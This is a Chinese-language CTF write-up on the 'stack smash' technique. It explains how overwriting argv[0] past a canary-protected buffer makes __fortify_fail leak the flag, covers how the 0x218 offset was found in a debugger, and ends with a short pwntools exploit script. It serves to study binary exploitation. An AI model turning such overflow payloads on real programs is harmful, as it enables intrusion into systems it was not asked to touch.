花式栈溢出技巧----Stack smash
学习文献:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/others/#stack-smash
以前遇见过一次这种情况,但是是不求甚解的完成了,这次慢慢分析一下原理
栈保护和NX字段都开启了,这里科普一下栈保护,我喜欢叫它金丝雀,链接:https://blog.****.net/qq_42192672/article/details/82776113
大概清楚了这个保护的机制以后,显然如果我们利用栈溢出覆盖 argv[0] 为我们想要输出的字符串的地址,那么在 __fortify_fail
函数中就会输出我们想要的信息
接下来就是怎么覆盖了
_IO_getc(stdin)可以栈溢出
memset中可以看见在while循环结束之后执行的语句,如下
但是小型ELF文件在映射BSS字段的时候可能会重定位,这是之后遇到的问题,这里就提前说了,我们可以find一下
先找了一下自己输入的flag,发现把我们需要的flag覆盖掉了,但应为重定位,应该还是可以找打flag语句的
为了覆盖argv[0] ,我们必须要确定 argv[0] 距离读取的字符串的偏移
对main函数设断点
不难看出0x7fffffffde08存放着argv[0]的地址
接下来我们找我们读入字符串的起始地址
根据汇编代码,直接给IO_gets打断点看rsp好了好了,可以看到是0x7fffffffdbf0,那么偏移量就是0x218
exp
payload='a'*0x218+p64(0x400d20)
cn.recvuntil('''Hello!\nWhat's your name?''')
cn.sendline(payload)
cn.recvuntil('flag:')
cn.sendline('a')
data=cn.recv()
cn.interactive()